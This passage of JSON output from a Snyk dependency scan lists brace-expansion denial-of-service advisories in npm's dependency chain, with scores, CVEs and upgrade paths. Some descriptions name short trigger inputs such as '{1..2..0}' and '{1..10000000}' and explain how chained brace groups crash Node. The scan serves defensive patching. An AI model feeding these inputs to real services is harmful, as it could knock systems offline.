`maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step 